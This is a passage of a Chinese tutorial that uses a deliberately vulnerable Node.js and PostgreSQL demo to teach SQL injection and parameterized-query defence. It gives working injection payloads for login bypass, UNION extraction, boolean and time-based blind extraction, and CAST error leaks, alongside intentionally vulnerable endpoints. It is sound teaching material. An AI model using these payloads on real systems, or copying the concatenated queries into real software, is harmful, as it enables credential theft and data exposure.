SQL 注入漏洞详解:从原理到防御的完整学习指南

文章目录

    • [一、什么是 SQL 注入?](#一、什么是 SQL 注入?)
      • [1.1 定义](#1.1 定义)
      • [1.2 一句话理解](#1.2 一句话理解)
      • [1.3 为什么会产生?](#1.3 为什么会产生?)
      • [1.4 举个最简单的例子](#1.4 举个最简单的例子)
      • [1.5 SQL 注入的危害](#1.5 SQL 注入的危害)
    • 二、项目概览
      • [2.1 项目结构](#2.1 项目结构)
      • [2.2 技术栈](#2.2 技术栈)
      • [2.3 数据库表结构](#2.3 数据库表结构)
      • [2.4 测试数据](#2.4 测试数据)
    • [三、演示一:登录绕过(Login Bypass)](#三、演示一:登录绕过(Login Bypass))
      • [3.1 漏洞原理](#3.1 漏洞原理)
      • [3.2 攻击方法](#3.2 攻击方法)
        • [攻击载荷 1:用注释符绕过密码](#攻击载荷 1:用注释符绕过密码)
        • [攻击载荷 2:永真条件 OR 1=1](#攻击载荷 2:永真条件 OR 1=1)
        • [攻击载荷 3:闭合两端引号](#攻击载荷 3:闭合两端引号)
      • [3.3 漏洞代码分析](#3.3 漏洞代码分析)
      • [3.4 防御代码分析](#3.4 防御代码分析)
      • [3.5 对比总结](#3.5 对比总结)
    • [四、演示二:UNION 查询注入](#四、演示二:UNION 查询注入)
      • [4.1 漏洞原理](#4.1 漏洞原理)
      • [4.2 攻击方法](#4.2 攻击方法)
        • [攻击载荷 1:确定列数](#攻击载荷 1:确定列数)
        • [攻击载荷 2:窃取用户名和密码](#攻击载荷 2:窃取用户名和密码)
        • [攻击载荷 3:窃取管理员日志](#攻击载荷 3:窃取管理员日志)
      • [4.3 漏洞代码分析](#4.3 漏洞代码分析)
      • [4.4 防御代码分析](#4.4 防御代码分析)
      • [4.5 对比总结](#4.5 对比总结)
    • [五、演示三:布尔盲注(Boolean-Based Blind)](#五、演示三:布尔盲注(Boolean-Based Blind))
      • [5.1 漏洞原理](#5.1 漏洞原理)
      • [5.2 攻击方法](#5.2 攻击方法)
        • [攻击载荷 1:猜解密码长度](#攻击载荷 1:猜解密码长度)
        • [攻击载荷 2:逐字符猜解密码](#攻击载荷 2:逐字符猜解密码)
        • [攻击载荷 3:猜解数据库版本](#攻击载荷 3:猜解数据库版本)
      • [5.3 漏洞代码分析](#5.3 漏洞代码分析)
      • [5.4 防御代码分析](#5.4 防御代码分析)
      • [5.5 对比总结](#5.5 对比总结)
    • [六、演示四:延时注入(Time-Based Blind Injection)](#六、演示四:延时注入(Time-Based Blind Injection))
      • [6.1 漏洞原理](#6.1 漏洞原理)
      • [6.2 攻击方法](#6.2 攻击方法)
        • 场景:利用用户存在检查接口
        • [攻击载荷 1:测试延时是否可用](#攻击载荷 1:测试延时是否可用)
        • [攻击载荷 2:猜解密码长度](#攻击载荷 2:猜解密码长度)
        • [攻击载荷 3:逐字符猜解密码](#攻击载荷 3:逐字符猜解密码)
        • [完整猜解流程(演示 admin 密码 "admin123")](#完整猜解流程(演示 admin 密码 "admin123"))
      • [6.3 漏洞代码分析](#6.3 漏洞代码分析)
      • [6.4 防御代码分析](#6.4 防御代码分析)
      • [6.5 对比总结](#6.5 对比总结)
    • [七、演示五:报错注入(Error-Based Injection)](#七、演示五:报错注入(Error-Based Injection))
      • [7.1 漏洞原理](#7.1 漏洞原理)
      • [7.2 攻击方法](#7.2 攻击方法)
        • [步骤 1:正常查询](#步骤 1:正常查询)
        • [步骤 2:注入 CAST 报错(泄露密码)](#步骤 2:注入 CAST 报错(泄露密码))
        • [攻击载荷 2:泄露其他用户的密码](#攻击载荷 2:泄露其他用户的密码)
        • [攻击载荷 3:泄露邮箱](#攻击载荷 3:泄露邮箱)
        • [攻击载荷 4:泄露数据库版本](#攻击载荷 4:泄露数据库版本)
      • [7.3 漏洞代码分析](#7.3 漏洞代码分析)
      • [7.4 防御代码分析](#7.4 防御代码分析)
      • [7.5 对比总结](#7.5 对比总结)
    • [八、演示六:堆叠查询注入(Stacked Queries)](#八、演示六:堆叠查询注入(Stacked Queries))
      • [8.1 漏洞原理](#8.1 漏洞原理)
      • [8.2 攻击方法](#8.2 攻击方法)
        • 场景:更新个人简介
        • [攻击载荷 1:删除其他用户](#攻击载荷 1:删除其他用户)
        • [攻击载荷 2:修改管理员密码](#攻击载荷 2:修改管理员密码)
        • [攻击载荷 3:创建新的管理员账户](#攻击载荷 3:创建新的管理员账户)
      • [8.3 漏洞代码分析](#8.3 漏洞代码分析)
      • [8.4 防御代码分析](#8.4 防御代码分析)
      • [8.5 对比总结](#8.5 对比总结)
    • [九、演示七:二次注入(Second-Order Injection)](#九、演示七:二次注入(Second-Order Injection))
      • [9.1 漏洞原理](#9.1 漏洞原理)
      • [9.2 攻击方法](#9.2 攻击方法)
      • [9.3 漏洞代码分析](#9.3 漏洞代码分析)
      • [9.4 防御代码分析](#9.4 防御代码分析)
      • [9.5 对比总结](#9.5 对比总结)
    • 十、核心防御:参数化查询
      • [10.1 什么是参数化查询?](#10.1 什么是参数化查询?)
      • [10.2 参数化查询的工作原理](#10.2 参数化查询的工作原理)
      • [10.3 在 PostgreSQL (pg 驱动) 中的写法](#10.3 在 PostgreSQL (pg 驱动) 中的写法)
      • [10.4 为什么参数化查询能防止 SQL 注入?](#10.4 为什么参数化查询能防止 SQL 注入?)
      • [10.5 参数化查询不能防御的情况](#10.5 参数化查询不能防御的情况)
    • 十一、安全最佳实践
    • 十二、总结
      • [12.1 七种 SQL 注入对比](#12.1 七种 SQL 注入对比)
      • [12.2 核心要点](#12.2 核心要点)
      • [12.3 学习路径建议](#12.3 学习路径建议)

基于 Node.js + PostgreSQL 的 SQL 注入漏洞演示平台,面向初学者的交互式学习教程。

完整漏洞演示源码:https://gitcode.com/lcreek/Security


一、什么是 SQL 注入?

1.1 定义

SQL 注入(SQL Injection) 是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意 SQL 语句,来操纵后端数据库执行非预期的操作。

1.2 一句话理解

程序把用户输入当作 SQL 代码执行了,而不是当作普通数据来处理。

1.3 为什么会产生?

当一个应用程序的开发者使用字符串拼接的方式构建 SQL 查询语句时,用户的输入内容会直接成为 SQL 语句的一部分。如果用户输入了精心构造的特殊字符(如单引号、分号、SQL 关键字等),就可能改变原始 SQL 语句的语义。

1.4 举个最简单的例子

假设后端代码是这样的:

javascript 复制代码
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;

如果用户输入:

  • 用户名:admin'--
  • 密码:任意值

实际执行的 SQL 变为:

sql 复制代码
SELECT * FROM users WHERE username='admin'--' AND password='任意值'

-- 是 SQL 的注释符,后面的 AND password=... 全部被注释掉了。查询变成了只要 username='admin' 就返回结果,完全绕过了密码验证

1.5 SQL 注入的危害

危害类型 具体表现
数据泄露 窃取用户密码、邮箱、手机号等敏感信息
身份冒用 绕过登录验证,以管理员身份登录
数据篡改 修改数据库中的记录(如修改价格、余额)
数据删除 删除数据库表或整个数据库
权限提升 创建新的管理员账户
服务器沦陷 在某些配置下,甚至可能执行操作系统命令

二、项目概览

2.1 项目结构

复制代码
SQLInjectionDemos/
├── server.js                    # 服务器主入口(Express + 路由 + API)
├── package.json                  # 项目依赖配置
├── db/
│   ├── pool.js                   # PostgreSQL 连接池配置
│   └── init.sql                  # 数据库初始化脚本(建表 + 测试数据)
└── public/
    ├── index.html                # 首页导航
    ├── style.css                 # 全局样式表
    ├── login.html                # 演示1:登录绕过
    ├── union.html                # 演示2:UNION 注入
    ├── boolean-blind.html        # 演示3:布尔盲注
    ├── time-blind.html           # 演示4:延时注入
    ├── error-based.html          # 演示5:报错注入
    ├── stacked.html              # 演示6:堆叠注入
    └── second-order.html         # 演示7:二次注入

2.2 技术栈

技术 用途
Node.js 运行时环境
Express Web 框架,处理 HTTP 请求和路由
PostgreSQL 关系型数据库
pg (node-postgres) Node.js 的 PostgreSQL 驱动
HTML/CSS/JavaScript 前端页面和交互

2.3 数据库表结构

项目使用 4 张表来演示不同的 SQL 注入场景:

sql 复制代码
-- 用户表:用于登录绕过、布尔盲注、报错注入、堆叠注入、二次注入
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) NOT NULL UNIQUE,
    password VARCHAR(100) NOT NULL,
    email VARCHAR(100),
    role VARCHAR(20) DEFAULT 'user'
);

-- 商品表:用于 UNION 注入
CREATE TABLE products (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    description TEXT,
    price DECIMAL(10,2)
);

-- 用户资料表:用于二次注入、堆叠注入
CREATE TABLE profiles (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    bio TEXT
);

-- 管理员日志表:用于敏感数据泄露演示
CREATE TABLE admin_logs (
    id SERIAL PRIMARY KEY,
    action VARCHAR(200),
    created_at TIMESTAMP DEFAULT NOW()
);

2.4 测试数据

sql 复制代码
-- 5 个用户:1 个管理员 + 4 个普通用户
INSERT INTO users (username, password, email, role) VALUES
    ('admin',   'admin123',   'admin@demo.com',   'admin'),
    ('alice',   'pass123',    'alice@demo.com',   'user'),
    ('bob',     'secret456',  'bob@demo.com',     'user'),
    ('charlie', 'p@ssw0rd!',  'charlie@demo.com', 'user'),
    ('david',   'david2024',  'david@demo.com',   'user');

-- 8 个商品
INSERT INTO products (name, description, price) VALUES
    ('笔记本电脑', '15寸轻薄本,16GB内存', 5999.00),
    ('无线鼠标',   '静音设计,蓝牙5.0',    129.00),
    ('机械键盘',   '青轴,全键无冲',        349.00),
    -- ... 更多商品

三、演示一:登录绕过(Login Bypass)

3.1 漏洞原理

难度等级:初级

这是最经典、最易理解的 SQL 注入类型。在用户登录时,后端程序需要用用户名和密码去数据库查询匹配的记录。如果开发者使用字符串拼接来构建这条 SQL 查询,攻击者就可以通过精心构造的输入来绕过密码验证。

正常的登录 SQL:

sql 复制代码
SELECT * FROM users WHERE username='admin' AND password='admin123'

这条 SQL 的语义是:找一个用户名是 admin 密码是 admin123 的用户。

3.2 攻击方法

攻击载荷 1:用注释符绕过密码

输入:

  • 用户名:admin'--
  • 密码:任意值

实际执行的 SQL:

sql 复制代码
SELECT * FROM users WHERE username='admin'--' AND password='任意值'

原理解析:

-- 是 SQL 中的单行注释符(# 也可以)。当 admin' 闭合了前面的单引号后,-- 将后面的 AND password=... 全部注释掉了。数据库实际执行的逻辑等价于:

sql 复制代码
-- 原始:username='admin' AND password='admin123'
-- 注入后:username='admin' AND password='admin123' ← 被注释掉了
-- 实际执行:username='admin'

查询变成了只要 username='admin' 就返回结果,完全绕过了密码验证

攻击载荷 2:永真条件 OR 1=1

输入:

  • 用户名:' OR 1=1--
  • 密码:任意值

实际执行的 SQL:

sql 复制代码
SELECT * FROM users WHERE username='' OR 1=1--' AND password='任意值'

原理解析:

1=1 永远为真。OR 操作符的特性是:只要两个条件中有一个为真,整个表达式就为真。所以 username='' OR 1=1 永远是 TRUE,数据库会返回 所有用户 的第一条记录(通常是管理员)。

攻击载荷 3:闭合两端引号

输入:

  • 用户名:' OR '1'='1
  • 密码:' OR '1'='1

实际执行的 SQL:

sql 复制代码
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'

利用 '1'='1' 这个永真条件,无论是在用户名还是密码处注入,都能让 WHERE 子句始终为真。

3.3 漏洞代码分析

javascript 复制代码
// ===== 漏洞版本 =====
app.post("/api/login/vulnerable", async (req, res) => {
  const { username, password } = req.body;

  // 【漏洞核心】使用模板字符串直接拼接用户输入到 SQL 中
  // ${username} 和 ${password} 的内容会原样拼入 SQL,不经过任何过滤
  const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;

  try {
    const result = await pool.query(sql);
    if (result.rows.length > 0) {
      res.json({ success: true, message: `登录成功!`, user: result.rows[0] });
    } else {
      res.json({ success: false, message: "用户名或密码错误" });
    }
  } catch (err) {
    res.json({ success: false, message: `SQL 执行错误: ${err.message}` });
  }
});

问题出在哪里? 第 6 行,${username}${password} 直接嵌入到 SQL 字符串中。用户输入的任何字符------包括单引号、SQL 关键字、注释符------都会成为 SQL 语句的一部分。

3.4 防御代码分析

javascript 复制代码
// ===== 安全版本 =====
app.post("/api/login/safe", async (req, res) => {
  const { username, password } = req.body;

  // 【安全核心】使用 $1, $2 占位符,SQL 结构与数据分离
  const sql = "SELECT * FROM users WHERE username=$1 AND password=$2";

  try {
    // 将参数数组作为第二个参数传入 pool.query()
    // pg 驱动负责将 username 替换 $1,password 替换 $2,并安全转义
    const result = await pool.query(sql, [username, password]);
    if (result.rows.length > 0) {
      res.json({ success: true, message: `登录成功!` });
    } else {
      res.json({ success: false, message: "用户名或密码错误" });
    }
  } catch (err) {
    res.json({ success: false, message: `服务器错误` });
  }
});

为什么安全?

  1. SQL 结构与数据分离 :SQL 语句的骨架(SELECT ... WHERE username=$1 AND password=$2)是固定的,$1$2 只是占位符。
  2. 参数单独传递[username, password] 作为参数数组传入,pg 驱动会将其中的内容安全转义后再填充到占位符位置。
  3. 攻击者输入失效 :如果攻击者输入 admin'--,它会被当作一个完整的用户名字符串 admin'--(带单引号的)去匹配,而不是作为 SQL 语法的一部分。数据库会查找用户名为 admin'-- 的用户,自然找不到。

3.5 对比总结

对比维度 漏洞版本 安全版本
SQL 构建方式 模板字符串拼接 参数化查询($1 占位符)
用户输入角色 既是数据,也是 SQL 代码 纯粹是数据
攻击 admin'-- 效果 绕过密码,登录成功 查找用户名 admin'--,登录失败
安全性 不安全 安全

四、演示二:UNION 查询注入

4.1 漏洞原理

难度等级:中级

UNION 是 SQL 中的集合操作符,它可以将多个 SELECT 语句的结果合并为一个结果集。UNION 注入的核心思路是:攻击者在正常查询的后面追加一个 UNION SELECT,将恶意查询的结果合并到正常结果中,从而窃取其他表的数据。

前提条件(两个关键):

  1. 列数要匹配UNION 前后两个 SELECT 语句的列数必须相同。
  2. 数据类型要兼容:对应列的数据类型必须兼容(或可隐式转换)。

原始查询:

sql 复制代码
SELECT id, name, price FROM products WHERE name LIKE '%鼠标%'

返回 3 列:id(整数)、name(字符串)、price(小数)。

4.2 攻击方法

攻击载荷 1:确定列数

攻击者首先需要确定原始查询返回几列,通常使用 ORDER BY 试探:

复制代码
关键字:' ORDER BY 1--
关键字:' ORDER BY 2--
关键字:' ORDER BY 3--
关键字:' ORDER BY 4--  ← 报错!说明只有 3 列
攻击载荷 2:窃取用户名和密码
复制代码
关键字:' UNION SELECT id, username, password FROM users--

实际执行的 SQL:

sql 复制代码
SELECT id, name, price FROM products WHERE name LIKE '%' UNION SELECT id, username, password FROM users--%'

结果: 商品列表和用户数据(id、username、password)合并在一起返回,攻击者拿到了所有用户的密码!

攻击载荷 3:窃取管理员日志
复制代码
关键字:' UNION SELECT id, action, created_at::text FROM admin_logs--

注意 ::text 类型转换admin_logs 表的 created_atTIMESTAMP 类型,与原始查询的 priceDECIMAL)类型不兼容,需要用 ::text 转换为字符串。

4.3 漏洞代码分析

javascript 复制代码
// ===== 漏洞版本 =====
app.get("/api/products/vulnerable", async (req, res) => {
  const { keyword } = req.query;

  // 【漏洞核心】% 通配符和 keyword 都拼在 SQL 字符串中
  // 攻击者可以通过闭合 ' 和 % 来注入自己的 SQL
  const sql = `SELECT id, name, price FROM products WHERE name LIKE '%${keyword || ""}%'`;

  try {
    const result = await pool.query(sql);
    res.json({
      success: true,
      data: result.rows,
      executedSql: sql, // 返回实际执行的 SQL,帮助理解注入过程
    });
  } catch (err) {
    res.json({
      success: false,
      message: `SQL 执行错误: ${err.message}`,
      executedSql: sql,
    });
  }
});

问题分析:

第 6 行,'%${keyword}%' 的结构意味着:

  • 正常搜索 鼠标 时,SQL 为 ... LIKE '%鼠标%',正常工作。
  • 攻击者输入 ' UNION SELECT ...-- 时,SQL 变为 ... LIKE '%' UNION SELECT ...--%'' 闭合了前面的 %-- 注释掉了后面的 %',UNION 注入成功!

4.4 防御代码分析

javascript 复制代码
// ===== 安全版本 =====
app.get("/api/products/safe", async (req, res) => {
  const { keyword } = req.query;
  const sql = "SELECT id, name, price FROM products WHERE name LIKE $1";

  try {
    // 将 %keyword% 作为参数值传入,keyword 的内容被安全转义
    // 攻击者输入的任何内容都会被当作搜索关键词字符串,而不是 SQL 语法
    const result = await pool.query(sql, [`%${keyword || ""}%`]);
    res.json({ success: true, data: result.rows });
  } catch (err) {
    res.json({ success: false, message: `服务器错误` });
  }
});

为什么安全?

$1 占位符接收的是 %keyword% 这个整体字符串,keyword 的内容被 pg 驱动安全转义。攻击者输入 ' UNION SELECT ... 时,它会被当作一个普通搜索词 %' UNION SELECT ...%name 字段中模糊匹配,显然找不到任何匹配的商品。

4.5 对比总结

对比维度 漏洞版本 安全版本
SQL 构建方式 字符串拼接 参数化查询($1 占位符)
攻击 ' UNION SELECT ... 效果 窃取用户表数据 搜索无结果,注入失败
返回的 SQL 信息 返回实际执行的 SQL(教学目的) 不返回 SQL
安全性 不安全 安全

五、演示三:布尔盲注(Boolean-Based Blind)

5.1 漏洞原理

难度等级:中级

盲注(Blind Injection) 发生在页面不直接返回数据库内容,但会根据查询结果呈现不同状态的场景。攻击者无法直接看到数据,但可以通过观察"两种不同响应"来推断信息。

核心思路:

将"数据是否等于某个字符"这个信息,转化为"用户存在" vs "用户不存在"两种响应,然后逐字符猜解。

场景: 一个用户名检查功能,只返回"用户存在"或"用户不存在"。攻击者可以通过构造条件判断语句,将敏感数据逐字符地"盲猜"出来。

5.2 攻击方法

攻击载荷 1:猜解密码长度
复制代码
用户名:admin' AND LENGTH(password) > 5--

逻辑: 如果 admin 的密码长度 > 5,返回"用户存在";否则返回"用户不存在"。通过不断调整数字,可以确定密码长度。

攻击载荷 2:逐字符猜解密码
复制代码
用户名:admin' AND SUBSTRING(password, 1, 1)='a'--
用户名:admin' AND SUBSTRING(password, 1, 1)='b'--
...
用户名:admin' AND SUBSTRING(password, 1, 1)='z'--

逻辑: 假设密码长度是 8:

  • 第一步:遍历 a-z0-9,猜密码第 1 个字符。当 SUBSTRING(password,1,1)='a' 时返回"用户存在",说明密码首字符是 a
  • 第二步:猜第 2 个字符,SUBSTRING(password,2,1)='d' 返回"用户存在",说明是 d
  • 以此类推,逐字符猜出密码 admin123

所需请求数: 假设密码长度 8,字符集 36(a-z + 0-9),最坏情况 8 × 36 = 288 次请求即可猜出密码。实际攻击中通常使用自动化脚本。

攻击载荷 3:猜解数据库版本
复制代码
用户名:admin' AND SUBSTRING(version(), 1, 3)='Pos'--

如果返回"用户存在",说明数据库是 PostgreSQL(version() 返回 PostgreSQL x.x.x)。

5.3 漏洞代码分析

javascript 复制代码
// ===== 漏洞版本 =====
app.get("/api/user/exists/vulnerable", async (req, res) => {
  const { username } = req.query;

  // 【漏洞核心】直接将用户输入拼接到 WHERE 子句
  const sql = `SELECT * FROM users WHERE username='${username || ""}'`;

  try {
    const result = await pool.query(sql);
    if (result.rows.length > 0) {
      res.json({ exists: true, message: "用户存在" }); // True 状态
    } else {
      res.json({ exists: false, message: "用户不存在" }); // False 状态
    }
  } catch (err) {
    res.json({ exists: false, message: "查询出错" });
  }
});

为什么这会形成盲注?

  1. 页面只返回两种状态:用户存在(True)和 用户不存在(False)。
  2. 攻击者注入条件判断语句(如 AND SUBSTRING(...)='a'),将"数据是否等于某字符"转化为"用户是否存在"。
  3. 正常情况下,admin' AND SUBSTRING(password,1,1)='a' 这种查询,如果密码首字符是 aadmin 用户存在且条件为真 → 返回"用户存在";如果密码首字符不是 a,条件为假 → 返回"用户不存在"。

5.4 防御代码分析

javascript 复制代码
// ===== 安全版本 =====
app.get("/api/user/exists/safe", async (req, res) => {
  const { username } = req.query;
  try {
    // 使用 $1 占位符,整个 username 输入作为字符串参数
    // 攻击者输入 ' AND SUBSTRING(...) 会被当作一个完整的用户名字符串来匹配
    const result = await pool.query("SELECT * FROM users WHERE username=$1", [
      username || "",
    ]);
    res.json({ exists: result.rows.length > 0 });
  } catch (err) {
    res.json({ exists: false, message: "查询出错" });
  }
});

为什么安全?

参数化查询将 admin' AND SUBSTRING(password,1,1)='a' 当作一个完整的用户名字符串来匹配。数据库会查找用户名恰好等于这个奇怪字符串的用户,显然找不到,返回"用户不存在"。SUBSTRING() 函数不会被当作 SQL 代码执行。

5.5 对比总结

对比维度 漏洞版本 安全版本
攻击方式 利用"存在/不存在"两种状态逐字符猜解 无法注入,注入语句被当作用户名匹配
攻击 admin' AND SUBSTRING(...) 返回"存在"或"不存在",泄露信息 查找该字符串用户,返回"不存在"
所需请求数 约 288 次可猜出 8 位密码 注入无效
安全性 不安全 安全

六、演示四:延时注入(Time-Based Blind Injection)

6.1 漏洞原理

难度等级:中高级

延时注入(时间盲注) 是盲注的一种高级变体。当页面不返回任何数据差异(只有一种响应),布尔盲注无法使用时,攻击者可以注入延时函数 ,通过测量服务器响应时间来判断条件真假。

核心思路:

页面虽然看起来一样,但如果条件为真,服务器会"多等几秒"再响应。

与布尔盲注的对比:

对比维度 布尔盲注 延时注入
判断依据 页面显示"存在" vs "不存在" 响应时间快 vs 慢
适用场景 页面有两种不同响应 页面只有一种响应(如统一返回"操作成功")
速度 极慢(每次判断需要等待数秒)
隐蔽性 中等 高(响应内容完全一致)
数据库函数 不需要特殊函数 需要延时函数(如 PG_SLEEP

PostgreSQL 的延时函数:

sql 复制代码
SELECT PG_SLEEP(3);  -- 数据库休眠 3 秒

攻击者如何利用:

  1. 注入 AND (条件判断 + PG_SLEEP)
  2. 条件为真 → 数据库休眠 N 秒 → 响应延迟 N 秒
  3. 条件为假 → 数据库不休眠 → 响应即时返回
  4. 通过测量响应时间来判断条件真假

6.2 攻击方法

场景:利用用户存在检查接口

原始查询:

sql 复制代码
SELECT * FROM users WHERE username='admin'

页面只返回"操作完成"(一种响应),没有"存在/不存在"的差异。

攻击载荷 1:测试延时是否可用
复制代码
用户名:admin' AND (SELECT 1 FROM (SELECT PG_SLEEP(3)) AS t)=1--

实际执行的 SQL:

sql 复制代码
SELECT * FROM users WHERE username='admin' AND (SELECT 1 FROM (SELECT PG_SLEEP(3)) AS t)=1--'

判断: 如果响应延迟了约 3 秒 → 存在延时注入!

原理: PG_SLEEP(3) 让数据库休眠 3 秒。攻击者测量 HTTP 请求的往返时间,与正常响应时间对比,如果明显增加就确认注入存在。

攻击载荷 2:猜解密码长度
复制代码
用户名:admin' AND (SELECT CASE WHEN (LENGTH(password)>5) THEN PG_SLEEP(2) ELSE 0 END)=0--

实际执行的 SQL:

sql 复制代码
SELECT * FROM users WHERE username='admin' AND (SELECT CASE WHEN (LENGTH(password)>5) THEN PG_SLEEP(2) ELSE 0 END)=0--'

解析:

sql 复制代码
CASE WHEN (LENGTH(password)>5)  -- 判断 admin 的密码长度是否大于 5
     THEN PG_SLEEP(2)           -- 条件为真:休眠 2 秒
     ELSE 0                     -- 条件为假:不休眠
END
  • 响应延迟 2 秒 → admin 密码长度 > 5
  • 响应即时返回 → admin 密码长度 ≤ 5

通过二分法调整数字,可以精确确定密码长度为 8。

攻击载荷 3:逐字符猜解密码
复制代码
用户名:admin' AND (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN PG_SLEEP(2) ELSE 0 END)=0--

解析:

sql 复制代码
CASE WHEN (SUBSTRING(password,1,1)='a')  -- 判断密码第 1 个字符是否为 'a'
     THEN PG_SLEEP(2)                     -- 是 'a':休眠 2 秒
     ELSE 0                               -- 不是 'a':不休眠
END
  • 响应延迟 2 秒 → 密码首字符是 a
  • 响应即时返回 → 密码首字符不是 a,换下一个字符继续猜
完整猜解流程(演示 admin 密码 "admin123")
步骤 Payload(简化) 响应时间 结论
1 SUBSTRING(password,1,1)='a' ~2.1s 首字符是 a
2 SUBSTRING(password,2,1)='d' ~2.1s 第2字符是 d
3 SUBSTRING(password,3,1)='m' ~2.1s 第3字符是 m
4 SUBSTRING(password,4,1)='i' ~2.1s 第4字符是 i
5 SUBSTRING(password,5,1)='n' ~2.1s 第5字符是 n
... ... ... ...
8 SUBSTRING(password,8,1)='3' ~2.1s 第8字符是 3

结果: 密码 = admin123,8 个字符全部猜出。

所需请求数估算:

  • 密码长度 8,字符集 36(a-z + 0-9)
  • 最坏情况:8 × 36 = 288 次请求
  • 每个请求等待 2 秒,总耗时约 288 × 2 = 576 秒(约 10 分钟)

⚠️ 注意: 延时注入是所有注入技术中最慢 的,但也是最难防御的------因为响应内容完全一致,WAF 很难通过内容检测来判断是否存在攻击。

6.3 漏洞代码分析

延时注入可以在任何存在注入点的接口上实施。这里以用户存在检查接口为例:

javascript 复制代码
// ===== 漏洞版本 =====
app.get("/api/user/exists/time-blind/vulnerable", async (req, res) => {
  const { username } = req.query;

  // 【漏洞核心】直接将用户输入拼接到 WHERE 子句
  const sql = `SELECT * FROM users WHERE username='${username || ""}'`;

  try {
    await pool.query(sql);
    // 注意:即使这里统一返回 "操作完成" 而不区分"存在/不存在"
    // 攻击者仍可以通过 PG_SLEEP() 延时函数来判断条件真假
    res.json({ status: "ok" });
  } catch (err) {
    res.json({ status: "ok" }); // 错误也不返回详情
  }
});

为什么统一响应仍然挡不住延时注入?

复制代码
攻击者注入 PG_SLEEP():

请求 A:admin' AND (PG_SLEEP(2) IS NOT NULL)--
  → 数据库休眠 2 秒 → 响应时间 ≈ 2000ms

请求 B:不存在的用户' AND (PG_SLEEP(2) IS NOT NULL)--
  → 数据库不休眠(因为 WHERE 不匹配,不会执行 PG_SLEEP)
  → 响应时间 ≈ 50ms

攻击者通过响应时间差异判断:
- 2 秒响应 → 用户 "admin" 存在
- 50ms 响应 → 用户不存在

关键洞察: 即使页面内容完全一样,时间本身就是信息通道

6.4 防御代码分析

javascript 复制代码
// ===== 安全版本 =====
app.get("/api/user/exists/time-blind/safe", async (req, res) => {
  const { username } = req.query;
  try {
    // 参数化查询:PG_SLEEP 等函数不会被当作 SQL 代码执行
    const result = await pool.query("SELECT * FROM users WHERE username=$1", [
      username || "",
    ]);
    res.json({ status: "ok" });
  } catch (err) {
    res.json({ status: "ok" });
  }
});

为什么安全?

参数化查询将整个输入作为字符串值处理。攻击者输入 admin' AND PG_SLEEP(3)-- 时,数据库会查找用户名等于这个完整字符串的用户,PG_SLEEP() 不会被执行。

额外的防御措施:

措施 说明
请求频率限制 限制同一 IP 的请求频率,增加攻击时间成本
查询超时设置 设置 SQL 查询超时(如 5 秒),防止长时间休眠
参数化查询 根本解决方案,阻止任何 SQL 函数注入
响应时间随机化 在响应中加入随机延迟(如 10-100ms),干扰时间测量

6.5 对比总结

对比维度 漏洞版本 安全版本
攻击方式 注入 PG_SLEEP() 通过响应时间推断数据 无法注入,注入语句被当作用户名匹配
隐蔽性 极高(响应内容完全一致) 无漏洞
攻击速度 极慢(每个字符需数秒) 注入无效
检测难度 高(WAF 难以通过内容检测) 无需检测
安全性 不安全 安全

七、演示五:报错注入(Error-Based Injection)

7.1 漏洞原理

难度等级:中级

报错注入 利用数据库在执行错误 SQL 时返回的错误消息 来获取数据。当程序将 SQL 错误信息直接展示给用户时,攻击者可以构造特意会报错的 SQL 语句,在错误消息中嵌入敏感数据。

核心思路:

攻击者故意让数据库报错------但错误消息不是副作用,错误消息本身就是攻击者想要的数据载体

为什么报错注入能工作?

报错注入需要同时满足两个条件:

条件 说明 本项目如何满足
存在注入点 用户输入能改变 SQL 语义 id 直接拼接到 SQL:WHERE id=${id}
错误消息回显 服务器将数据库错误返回给客户端 catch 块返回 err.message

CAST 函数的工作原理:

PostgreSQL 的 CAST(值 AS 目标类型) 函数尝试将值转换为目标类型。如果转换失败,PostgreSQL 会抛出错误,错误消息中包含原始值

sql 复制代码
-- 正常:将字符串 '123' 转为整数
SELECT CAST('123' AS INTEGER);
-- 结果:123

-- 报错:无法将 'admin123' 转为整数!
SELECT CAST('admin123' AS INTEGER);
-- 错误:invalid input syntax for type integer: "admin123"
--                                        ^^^^^^^^^^
--                                        原始值在错误消息中!

攻击者的思路:

  1. 把敏感数据(如密码)放到 CAST() 函数中
  2. 数据库尝试类型转换 → 必然失败
  3. 错误消息中直接包含了密码明文

7.2 攻击方法

步骤 1:正常查询
复制代码
用户ID:1

实际执行的 SQL:

sql 复制代码
SELECT username FROM users WHERE id=1

结果: 返回 admin 用户,一切正常。

步骤 2:注入 CAST 报错(泄露密码)
复制代码
用户ID:1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1

逐字符解析 Payload:

复制代码
1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1
│  │   │    │                                              │  │
│  │   │    └── 子查询:获取 id=1 用户的 password = "admin123"
│  │   └── CAST(...AS INTEGER):尝试将子查询结果转为整数
│  └── =1:与整数比较,使 AND 获得布尔参数(PostgreSQL 要求 AND 的参数必须是布尔类型)
└── 正常参数

注入点分析:
- 代码模板:WHERE id=${id || 1}
- id 参数没有用引号包裹(数字型注入)
- 不需要闭合引号,直接追加 SQL 逻辑即可

实际执行的 SQL:

sql 复制代码
SELECT username FROM users WHERE id=1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1

执行流程:

复制代码
1. id=1 → 找到 id 为 1 的用户(admin)
2. (SELECT password FROM users WHERE id=1) → 子查询返回 "admin123"
3. CAST('admin123' AS INTEGER)=1 → 类型转换失败!
4. PostgreSQL 抛出错误:invalid input syntax for type integer: "admin123"
5. catch 块捕获错误,返回给客户端

返回的错误消息:

json 复制代码
{
  "success": false,
  "message": "SQL 执行错误: invalid input syntax for type integer: \"admin123\""
}

密码 admin123 直接在错误消息中泄露了!

攻击载荷 2:泄露其他用户的密码
复制代码
用户ID:1 AND CAST((SELECT password FROM users WHERE id=2) AS INTEGER)=1

错误消息: invalid input syntax for type integer: "pass123" ← alice 的密码

攻击载荷 3:泄露邮箱
复制代码
用户ID:1 AND CAST((SELECT email FROM users WHERE id=1) AS INTEGER)=1

错误消息: invalid input syntax for type integer: "admin@demo.com" ← admin 的邮箱

